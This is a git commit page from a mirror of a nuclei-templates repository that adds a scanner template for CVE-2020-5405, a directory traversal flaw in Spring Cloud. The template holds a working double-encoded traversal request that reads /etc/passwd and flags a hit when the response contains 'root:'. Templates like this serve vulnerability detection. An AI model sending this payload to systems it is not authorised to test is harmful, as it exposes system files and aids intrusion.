daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Create CVE-2020-5405.yaml 

Spring Cloud Directory Traversal
patch-1
Harsh Bothra 2020-07-06 21:52:18 +05:30 committed by GitHub
parent 4337755cbe
commit ebcf1ec0f6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 21 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

21
cves/CVE-2020-5405.yaml Normal file
View File

@ -0,0 +1,21 @@
id: CVE-2020-5405
info:
name: Spring Cloud Directory Traversal
author: Harsh Bothra
severity: High
# source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
requests:
- method: GET
path:
- '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
matchers:
- type: status
status:
- 200
- type: word
words:
- "root:"